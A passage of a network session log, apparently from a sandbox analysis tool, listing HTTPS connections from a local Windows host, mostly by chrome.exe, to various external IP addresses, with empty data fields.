2104	192.168.2.4	52308	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2105	192.168.2.4	52306	209.54.183.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2106	192.168.2.4	52304	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2107	192.168.2.4	52307	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2108	192.168.2.4	52319	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2109	192.168.2.4	52316	172.253.115.156	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2110	192.168.2.4	52320	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2111	192.168.2.4	52314	18.160.46.100	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2112	192.168.2.4	52325	151.101.193.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2113	192.168.2.4	52312	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2114	192.168.2.4	52302	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2115	192.168.2.4	52315	34.200.65.202	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2116	192.168.2.4	52337	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2117	192.168.2.4	52338	51.222.39.187	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2118	192.168.2.4	52348	135.148.2.48	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2119	192.168.2.4	52309	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2120	192.168.2.4	52305	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2121	192.168.2.4	52317	54.192.29.138	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2122	192.168.2.4	52296	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2123	192.168.2.4	52336	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2124	192.168.2.4	52331	74.119.119.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2125	192.168.2.4	52313	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2126	192.168.2.4	52311	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2127	192.168.2.4	52322	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2128	192.168.2.4	52327	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2129	192.168.2.4	52303	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2130	192.168.2.4	52343	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2131	192.168.2.4	52300	209.54.183.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2132	192.168.2.4	52329	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2133	192.168.2.4	52318	192.184.68.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2134	192.168.2.4	52326	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2135	192.168.2.4	52347	135.148.2.48	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2136	192.168.2.4	52299	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2137	192.168.2.4	52297	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2138	192.168.2.4	52330	74.119.119.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2139	192.168.2.4	52339	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2140	192.168.2.4	52342	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2141	192.168.2.4	52345	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2142	192.168.2.4	52333	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2143	192.168.2.4	52344	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2144	192.168.2.4	52340	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2145	192.168.2.4	52341	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2146	192.168.2.4	52324	52.215.59.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2147	192.168.2.4	52353	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2148	192.168.2.4	52335	207.65.37.179	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2149	192.168.2.4	52346	68.67.160.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2150	192.168.2.4	52355	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2151	192.168.2.4	52356	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2152	192.168.2.4	52354	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2153	192.168.2.4	52357	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2154	192.168.2.4	52358	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2155	192.168.2.4	52359	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2156	192.168.2.4	52360	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2157	192.168.2.4	52361	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2158	192.168.2.4	52363	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2159	192.168.2.4	52364	68.67.160.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2160	192.168.2.4	52362	52.215.59.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2161	192.168.2.4	52366	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2162	192.168.2.4	52369	172.98.26.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2163	192.168.2.4	52370	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2164	192.168.2.4	52371	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2165	192.168.2.4	52372	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2166	192.168.2.4	52378	157.240.229.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2167	192.168.2.4	52368	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2168	192.168.2.4	52377	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2169	192.168.2.4	52373	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2170	192.168.2.4	52374	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2171	192.168.2.4	52376	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2172	192.168.2.4	52375	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2173	192.168.2.4	52380	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2174	192.168.2.4	52381	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2175	192.168.2.4	52382	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2176	192.168.2.4	52383	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2177	192.168.2.4	52387	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2178	192.168.2.4	52388	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2179	192.168.2.4	52389	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2180	192.168.2.4	52386	18.244.134.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2181	192.168.2.4	52390	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2182	192.168.2.4	52385	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2183	192.168.2.4	52393	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2184	192.168.2.4	52396	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2185	192.168.2.4	52379	157.240.229.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2186	192.168.2.4	52397	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2187	192.168.2.4	52391	52.215.59.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2188	192.168.2.4	52395	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2189	192.168.2.4	52398	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2190	192.168.2.4	52394	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2191	192.168.2.4	52403	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2192	192.168.2.4	52402	172.253.63.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2193	192.168.2.4	52406	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2194	192.168.2.4	52399	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2195	192.168.2.4	52400	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2196	192.168.2.4	52401	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2197	192.168.2.4	52404	18.160.46.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2198	192.168.2.4	52415	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2199	192.168.2.4	52416	172.253.115.156	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2200	192.168.2.4	52412	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2201	192.168.2.4	52407	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2202	192.168.2.4	52410	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2203	192.168.2.4	52420	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2204	192.168.2.4	52417	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2205	192.168.2.4	52419	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2206	192.168.2.4	52414	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2207	192.168.2.4	52424	68.67.179.166	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2208	192.168.2.4	52408	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2209	192.168.2.4	52409	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2210	192.168.2.4	52413	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2211	192.168.2.4	52411	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2212	192.168.2.4	52421	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2213	192.168.2.4	52423	147.135.119.115	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2214	192.168.2.4	52425	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2215	192.168.2.4	52429	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2216	192.168.2.4	52422	34.117.222.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2217	192.168.2.4	52427	69.166.1.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2218	192.168.2.4	52426	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2219	192.168.2.4	52430	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2220	192.168.2.4	52431	192.0.66.91	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2221	192.168.2.4	52432	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2222	192.168.2.4	52434	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2223	192.168.2.4	52433	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2224	192.168.2.4	52435	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2225	192.168.2.4	52436	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2226	192.168.2.4	52438	147.135.119.115	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2227	192.168.2.4	52437	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2228	192.168.2.4	52439	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2229	192.168.2.4	52440	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2230	192.168.2.4	52445	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2231	192.168.2.4	52442	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2232	192.168.2.4	52444	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2233	192.168.2.4	52443	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2234	192.168.2.4	52441	162.19.138.117	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2235	192.168.2.4	52446	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2236	192.168.2.4	52447	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2237	192.168.2.4	52450	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2238	192.168.2.4	52449	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2239	192.168.2.4	52448	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2240	192.168.2.4	52451	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2241	192.168.2.4	52452	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2242	192.168.2.4	52455	3.208.144.215	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2243	192.168.2.4	52453	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2244	192.168.2.4	52454	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2245	192.168.2.4	52457	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2246	192.168.2.4	52461	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2247	192.168.2.4	52460	35.190.43.167	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2248	192.168.2.4	52458	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2249	192.168.2.4	52459	34.117.222.118	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2250	192.168.2.4	52463	74.119.119.139	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2251	192.168.2.4	52464	172.67.25.151	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2252	192.168.2.4	52466	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2253	192.168.2.4	52465	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2254	192.168.2.4	52470	192.0.66.91	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
2255	192.168.2.4	52469	31.13.66.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
